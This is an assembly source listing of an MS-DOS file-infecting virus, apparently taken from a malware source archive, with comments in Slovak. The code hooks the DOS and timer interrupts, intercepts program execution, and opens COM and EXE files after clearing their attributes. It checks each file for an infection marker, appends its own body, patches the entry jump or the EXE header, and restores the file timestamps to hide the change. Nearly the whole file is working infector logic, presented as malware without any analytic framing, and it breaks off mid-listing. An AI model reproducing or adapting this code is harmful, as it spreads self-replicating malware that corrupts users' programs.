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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.newc.asm

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2021-01-12 23:52:14 +00:00
MCB_type equ 0
MCB_owner equ 1
MCB_size equ 3
data_3e equ 12h
data_4e equ 0
data_5e equ 2
data_6e equ 4
data_7e equ 6
data_8e equ 8
data_9e equ 0Ah
data_12e equ 0Eh
data_13e equ 10h
data_14e equ 11h
data_15e equ 12h
data_16e equ 18h
data_17e equ 1Ah
data_18e equ 1Ch
data_19e equ 1Eh
data_20e equ 20h
old_21 equ 2Ah
data_22e equ 2Eh
data_23e equ 30h
data_24e equ 32h
data_25e equ 34h
old_1c equ 36h
data_27e equ 3Ah
data_28e equ 3Ch
data_29e equ 3Eh
data_30e equ 56h
data_31e equ 58h
data_32e equ 5Ah
data_33e equ 5Bh
data_34e equ 5Ch
data_35e equ 5Dh
data_36e equ 5Eh
data_37e equ 5Fh
data_38e equ 62h
data_39e equ 66h
data_40e equ 68h
newcom segment byte
assume cs:newcom, ds:newcom
org 100h
start: jmp start_virus
old_program: mov ah,9
int 21h ;Display char string at DS:DX
mov ax,4C00h
int 21h ;Terminate with al=return code
db 0,0,0,0,0,0
db 8,0
db 92 dup (0)
text db 'Hello virus !$'
; ----------------------------------------------------------------------------
; Tu zacina zamotne telo virusu (Offset 180h)
; ----------------------------------------------------------------------------
db 0, 0
run label byte
db 0F4h, 7Ah, 2Ch, 0
db 0, 0, 7Eh, 0, 0BEh
db 0Ah
old_bytes: mov dx,170h ;Povodny program 20h byte
mov ah,9
int 21h
mov ax,4C00h
int 21h
db 20 dup (0)
db 97h, 0Ch, 0B5h, 7, 97h, 0Ch
db 0B5h, 7, 56h, 1, 0F5h, 6
db 53h, 0FFh, 0, 0F0h, 5, 0
db 0F6h, 5Ah, 74h, 17h, 0DEh,0
db 6Ah, 0, 2Eh, 83h, 3Eh, 0C8h
db 6, 5Ch, 7, 70h, 0, 2Eh
db 83h, 3Eh, 0C8h, 6, 5Ch, 7
db 70h, 0
loc_1: add [bx+si],ax
and [bx+di],al
add [bx+di],al
add [bx+si],al
mov al,1
add [bx+si],al
adc [bx+si],al
add [bx+di],al
add [bp+si],al
mov [bx+si],ax
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_1: mov ax,[si]
sub ax,0BBh
jc loc_3 ;Jump if carry Set
cmp ax,8
nop
jc loc_3 ;Jump if carry Set
loc_2: mov [si],ax
retn
loc_3: mov ax,9
jmp short loc_2 ;(01F7)
; ------------------------------------------------------------------------
; New Timer interrupt
; ------------------------------------------------------------------------
new_1c: inc cs:timer_count
jmp dword ptr cs:old_1c
; ------------------------------------------------------------------------
nutena_1: jmp dword ptr cs:old_21
loc_iret: jmp dword ptr ds:old_21 ;A odtial na vir_in_memory
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_2: mov ah,40h ;'@'
jmp short loc_4 ;(0218)
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_3: mov ah,3Fh ;'?'
loc_4: call sub_6 ;(0224)
jc loc_ret_5 ;Jump if carry Set
cmp ax,cx
loc_ret_5: retn
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_4: xor al,al ;Zero register
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_5: mov ah,42h ;'B'
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_6: mov bx,cs:data_27e ;(8002:003A=0)
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_7: int 21h ;DOS Services ah=function 45h
; duplicate handle bx, ax=new #
retn
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_8: push bx
push ax
mov bx,cs:data_27e ;(8002:003A=0)
mov ah,45h ;'E'
call sub_7 ;(0229)
jc loc_6 ;Jump if carry Set
mov bx,ax
mov ah,3Eh ;'>'
call sub_7 ;(0229)
jmp short loc_7 ;(0244)
loc_6: clc ;Clear carry flag
loc_7: pop ax
pop bx
retn
db 0B0h, 3, 0CFh
loc_8: mov ax,1
push cs
pop es
inc sp
inc sp
sti ;Enable interrupts
stc ;Set carry flag
retf 2 ;Return far
loc_9: mov ax,2Ch
jmp short loc_12 ;(0297)
loc_10: mov al,cs:data_37e ;(8002:005F=0)
xor ah,ah ;Zero register
jmp short loc_12 ;(0297)
loc_11: mov cs:data_37e,cl ;(8002:005F=0)
jmp short loc_12 ;(0297)
; ---------------------------------------------------------------------------
; New DOS interrupt
; ---------------------------------------------------------------------------
new_21: pushf ;Push flags
cmp ah,4Bh ;Exec ?
je DOS_exec
cmp ah,4Ch ;Exit ?
je DOS_exit
cmp ah,8 ;Standart input to AL ?
je DOS_input
cmp ah,0C5h ;Virus fun
je loc_12
cmp ax,0C545h ;Virus fun
je loc_9
cmp ax,0C607h ;Virus fun
je loc_10
cmp ax,0C602h ;Virus fun
je loc_11
cmp ax,0C603h ;Virus fun
je loc_8
popf ;Pop flags
jmp DOS_return
loc_12: popf ;Pop flags
sti ;Enable interrupts
stc ;Set carry flag
retf 2 ;Return far
DOS_input: jmp DOS_input_
DOS_exit: cmp byte ptr cs:data_58,2 ;(8002:0C16=0)
jne loc_15 ;Jump if not equal
mov byte ptr cs:data_49,6Fh ;(8002:0BF6=0) 'o'
nop
mov byte ptr cs:data_59,1 ;(8002:0C17=0)
nop
loc_15:
cmp byte ptr cs:data_59,1 ;(8002:0C17=0)
jne loc_16 ;Jump if not equal
cmp al,0
jne loc_16 ;Jump if not equal
push ax
push cx
push si
push di
push es
push ds
call sub_16 ;(0A60)
call sub_17 ;(0A7A)
call sub_18 ;(0AB0)
pop ds
pop es
pop di
pop si
pop cx
pop ax
mov byte ptr cs:data_58,0 ;(8002:0C16=0)
nop
mov byte ptr cs:data_59,0 ;(8002:0C17=0)
nop
loc_16:
popf ;Pop flags
jmp DOS_return
DOS_exec: push ax ;Backup AX
xor al,al
xchg al,cs:data_34e ;(8002:005C=0)
or al,al ;Zero ?
pop ax ;Restore AX
jnz DOS_exec_
popf
jmp DOS_return
DOS_exec_: push es ;Backup 9x register
push ds
push bp
push di
push si
push dx
push cx
push bx
push ax
mov bp,sp
cli ;Disable interrupts
mov bx,21h
; shl bx,2
db 0c1h,0e3h,2 ;Original byte for prev. instr
mov ax,0
mov es,ax
mov ax,cs:[30h]
mov es:[bx+2],ax
mov ax,cs:[2eh]
mov es:[bx],ax
sti
push cs
pop ds
cmp byte ptr ds:[5ah],0
je loc_18
jmp loc_36
loc_18: inc byte ptr ds:data_36e ;(8002:005E=0)
push word ptr ss:data_12e[bp] ; (8002:000E=0)
push word ptr ss:data_7e[bp] ;(8002:0006=0)
call sub_9 ;(0605)
lahf ;Load ah from flags
add sp,4
sahf ;Store ah into flags
jnc loc_19 ;Jump if carry=0
jmp loc_36 ;(05B4)
loc_19:
xor cx,cx ;Zero register
xor dx,dx ;Zero register
call sub_4 ;(0220)
mov dx,0Ah
mov cx,14h
call sub_3 ;(0216)
jc loc_21 ;Jump if carry Set
mov ax,ds:data_18e ;(8002:001C=0)
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
mov cx,dx
mov dx,ax
call sub_4 ;(0220)
mov dx,0
mov cx,2Ah
call sub_3 ;(0216)
jc loc_23 ;Jump if carry Set
cmp word ptr ds:data_4e,7AF4h ; (8002:0000=0)
jne loc_23 ;Jump if not equal
mov ax,2Ch
cmp byte ptr [bp],0
jne loc_20 ;Jump if not equal
test byte ptr ds:data_37e,2 ;(8002:005F=0)
dec di
db 6Eh
loc_20:
inc ax
cmp ds:data_5e,ax ;(8002:0002=0)
jae loc_21 ;Jump if above or =
xor cx,cx ;Zero register
xor dx,dx ;Zero register
call sub_4 ;(0220)
mov dx,0Ah
mov cx,20h
call sub_2 ;(0212)
jc loc_21 ;Jump if carry Set
call sub_8 ;(022C)
jnc loc_22 ;Jump if carry=0
loc_21:
jmp loc_35 ;(05A5)
loc_22:
mov cx,ds:data_6e ;(8002:0004=0)
mov dx,ds:data_7e ;(8002:0006=0)
call sub_4 ;(0220)
xor cx,cx ;Zero register
call sub_2 ;(0212)
jc loc_21 ;Jump if carry Set
call sub_8 ;(022C)
jc loc_21 ;Jump if carry Set
jmp short loc_19 ;(0344)
loc_23:
mov al,2
mov cx,0FFFFh
mov dx,0FFF8h
call sub_5 ;(0222)
mov dx,0Ah
mov cx,8
call sub_3 ;(0216)
jc loc_24 ;Jump if carry Set
cmp word ptr ds:data_12e,7AF4h ; (8002:000E=0)
je loc_25 ;Jump if equal
jmp short loc_28 ;(043C)
loc_24:
jmp loc_35 ;(05A5)
loc_25:
cmp byte ptr ds:data_13e,23h ; (8002:0010=0) '#'
jae loc_24 ;Jump if above or =
mov cl,ds:data_14e ;(8002:0011=0)
mov ax,ds:data_9e ;(8002:000A=0)
mov ds:data_7e,ax ;(8002:0006=0)
mov ax,word ptr ds:data_9e+2 ; (8002:000C=0)
sub ax,103h
mov word ptr ds:data_9e+1,ax ; (8002:000B=0)
cmp byte ptr ds:data_13e,9 ;(8002:0010=0)
ja loc_26 ;Jump if above
mov cl,0E9h
loc_26:
mov ds:data_9e,cl ;(8002:000A=0)
xor cx,cx ;Zero register
mov dx,cx
call sub_4 ;(0220)
mov dx,0Ah
mov cx,3
call sub_2 ;(0212)
jc loc_24 ;Jump if carry Set
call sub_8 ;(022C)
jc loc_24 ;Jump if carry Set
xor cx,cx ;Zero register
mov dx,ds:data_7e ;(8002:0006=0)
call sub_4 ;(0220)
xor cx,cx ;Zero register
call sub_2 ;(0212)
jc loc_27 ;Jump if carry Set
call sub_8 ;(022C)
jc loc_27 ;Jump if carry Set
jmp short loc_23 ;(03C1)
loc_27:
jmp loc_35 ;(05A5)
loc_28:
mov word ptr ds:data_4e,7AF4h ; (8002:0000=0)
mov word ptr ds:data_5e,2Ch ;(8002:0002=0)
mov word ptr ds:data_8e,0ABEh ; (8002:0008=0)
cmp byte ptr [bp],0
jne loc_27 ;Jump if not equal
test byte ptr ds:data_37e,1 ;(8002:005F=0)
jz loc_27 ;Jump if zero
mov al,2
xor cx,cx ;Zero register
mov dx,cx
call sub_5 ;(0222)
mov ds:data_6e,dx ;(8002:0004=0)
mov ds:data_7e,ax ;(8002:0006=0)
xor cx,cx ;Zero register
mov dx,cx
call sub_4 ;(0220)
mov dx,0Ah
mov cx,20h
call sub_3 ;(0216)
jc loc_27 ;Jump if carry Set
cmp word ptr ds:data_9e,5A4Dh ; (8002:000A=0)
je loc_29 ;Jump if equal
cmp word ptr ds:data_9e,4D5Ah ; (8002:000A=0)
jne loc_31 ;Jump if not equal
loc_29:
mov byte ptr ds:data_33e,0 ;(8002:005B=0)
mov ax,ds:data_12e ;(8002:000E=0)
mul word ptr ds:data_39e ;(8002:0066=0) ax = data * ax
sub ax,ds:data_7e ;(8002:0006=0)
sbb dx,ds:data_6e ;(8002:0004=0)
jc loc_30 ;Jump if carry Set
mov ax,ds:data_16e ;(8002:0018=0)
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
add ax,ds:data_17e ;(8002:001A=0)
mov cx,dx
mov bx,ax
mov ax,ds:data_15e ;(8002:0012=0)
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
mov di,ds:data_6e ;(8002:0004=0)
mov si,ds:data_7e ;(8002:0006=0)
add si,0Fh
adc di,0
and si,0FFF0h
sub si,ax
sbb di,dx
mov dx,cx
mov ax,bx
sub ax,si
sbb dx,di
jc loc_32 ;Jump if carry Set
add si,0DC0h
adc di,0
sub bx,si
sbb cx,di
jnc loc_32 ;Jump if carry=0
loc_30:
jmp loc_35 ;(05A5)
loc_31:
mov byte ptr ds:data_33e,1 ;(8002:005B=0)
cmp word ptr ds:data_6e,0 ;(8002:0004=0)
jne loc_30 ;Jump if not equal
cmp word ptr ds:data_7e,20h ;(8002:0006=0)
jbe loc_30 ;Jump if below or =
cmp word ptr ds:data_7e,0F277h ; (8002:0006=0)
jae loc_30 ;Jump if above or =
loc_32:
mov cx,ds:data_6e ;(8002:0004=0)
mov dx,ds:data_7e ;(8002:0006=0)
add dx,0Fh
adc cx,0
and dx,0FFF0h
call sub_4 ;(0220)
xor dx,dx ;Zero register
mov cx,0BE5h
push word ptr ds:data_37e ;(8002:005F=0)
mov byte ptr ds:data_37e,1 ;(8002:005F=0)
call sub_2 ;(0212)
pop cx
mov ds:data_37e,cl ;(8002:005F=0)
jc loc_30 ;Jump if carry Set
call sub_8 ;(022C)
jc loc_30 ;Jump if carry Set
mov dx,ds:data_6e ;(8002:0004=0)
mov ax,ds:data_7e ;(8002:0006=0)
add ax,0Fh
adc dx,0
and ax,0FFF0h
div word ptr ds:data_38e ;(8002:0062=0) ax,dxrem=dx:ax/data
mov ds:data_18e,ax ;(8002:001C=0)
cmp byte ptr ds:data_33e,0 ;(8002:005B=0)
je loc_33 ;Jump if equal
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
mov byte ptr ds:data_9e,0E9h ; (8002:000A=0)
add ax,557h
mov word ptr ds:data_9e+1,ax ; (8002:000B=0)
jmp short loc_34 ;(0595)
loc_33:
mov ds:data_20e,ax ;(8002:0020=0)
mov word ptr ds:data_19e,55Ah ; (8002:001E=0)
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
add ax,0BE5h
adc dx,0
div word ptr ds:data_39e ;(8002:0066=0) ax,dxrem=dx:ax/data
inc ax
mov ds:data_12e,ax ;(8002:000E=0)
mov word ptr ds:data_9e+2,dx ; (8002:000C=0)
mov ax,ds:data_15e ;(8002:0012=0)
sub ds:data_20e,ax ;(8002:0020=0)
mov si,14h
call sub_1 ;(01EA)
mov si,16h
call sub_1 ;(01EA)
loc_34:
xor cx,cx ;Zero register
mov dx,cx
call sub_4 ;(0220)
mov dx,0Ah
mov cx,20h
call sub_2 ;(0212)
loc_35:
call sub_14 ;(090C)
push word ptr ss:data_12e[bp] ; (8002:000E=0)
push word ptr ss:data_7e[bp] ;(8002:0006=0)
call sub_10 ;(0681)
add sp,4
loc_36:
mov byte ptr ds:data_34e,0FFh ; (8002:005C=0)
mov ds,ss:data_12e[bp] ;(8002:000E=0)
mov dx,ss:data_7e[bp] ;(8002:0006=0)
call sub_11 ;(07ED)
mov bx,21h
db 0C1h, 0E3h, 2, 0B8h, 0, 0
db 8Eh, 0C0h, 0FBh, 8Ch, 0C8h, 26h
db 89h, 47h, 2, 0B8h, 0EAh, 0
db 26h, 89h, 7, 0FAh, 58h, 5Bh
db 59h, 5Ah, 5Eh, 5Fh, 5Dh, 1Fh
db 7, 9Dh
DOS_return: pushf ;Push flags
push cs
push word ptr cs:data_40e ;(8002:0068=0)
cmp byte ptr cs:data_32e,0 ;(8002:005A=0)
jne loc_38 ;Jump if not equal
iret ;Interrupt return
loc_38: push bp
mov bp,sp
or word ptr ss:data_7e[bp],100h ; (8002:0006=0)
mov byte ptr cs:data_32e,0 ;(8002:005A=0)
pop bp
iret ;Interrupt return
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_9: push bp
mov bp,sp
push es
push dx
push cx
push bx
push ax
mov ax,3300h
call sub_7 ;(0229)
mov ds:data_35e,dl ;(8002:005D=0)
mov ax,3301h
xor dl,dl ;Zero register
call sub_7 ;(0229)
mov ax,3524h
call sub_7 ;(0229)
mov ds:data_25e,es ;(8002:0034=8002h)
mov ds:data_24e,bx ;(8002:0032=0)
mov dx,0C7h
mov ax,2524h
call sub_7 ;(0229)
mov ax,4300h
push ds
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
call sub_7 ;(0229)
pop ds
jc loc_41 ;Jump if carry Set
mov ds:data_31e,cl ;(8002:0058=0)
test cl,1
jz loc_39 ;Jump if zero
mov ax,4301h
push ds
xor cx,cx ;Zero register
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
call sub_7 ;(0229)
pop ds
jc loc_41 ;Jump if carry Set
loc_39:
mov ax,3D02h
push ds
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
call sub_7 ;(0229)
pop ds
jc loc_40 ;Jump if carry Set
mov ds:data_27e,ax ;(8002:003A=0)
mov ax,5700h
call sub_6 ;(0224)
mov ds:data_28e,cx ;(8002:003C=0)
mov ds:data_29e,dx ;(8002:003E=0)
pop ax
pop bx
pop cx
pop dx
pop es
pop bp
clc ;Clear carry flag
retn
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_10:
push bp
mov bp,sp
push es
push dx
push cx
push bx
push ax
mov cx,ds:data_28e ;(8002:003C=0)
mov dx,ds:data_29e ;(8002:003E=0)
mov ax,5701h
call sub_6 ;(0224)
mov ah,3Eh ;'>'
call sub_6 ;(0224)
loc_40:
mov cl,ds:data_31e ;(8002:0058=0)
xor cl,20h ;' '
and cl,3Fh ;'?'
test cl,21h ;'!'
jz loc_41 ;Jump if zero
mov ax,4301h
push ds
xor ch,ch ;Zero register
mov cl,ds:data_31e ;(8002:0058=0)
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
call sub_7
pop ds
loc_41:
mov ax,2524h
push ds
lds dx,dword ptr ds:data_24e ; (8002:0032=0) Load 32 bit ptr
call sub_7 ; (0229)
pop ds
data_43 dw 168Ah
db 5Dh, 0, 0B8h, 1, 33h, 0E8h
db 57h, 0FBh, 58h, 5Bh, 59h, 5Ah
db 7, 5Dh, 0F9h, 0C3h
; ------------------------------------------------------------------------
; Start samotneho vira
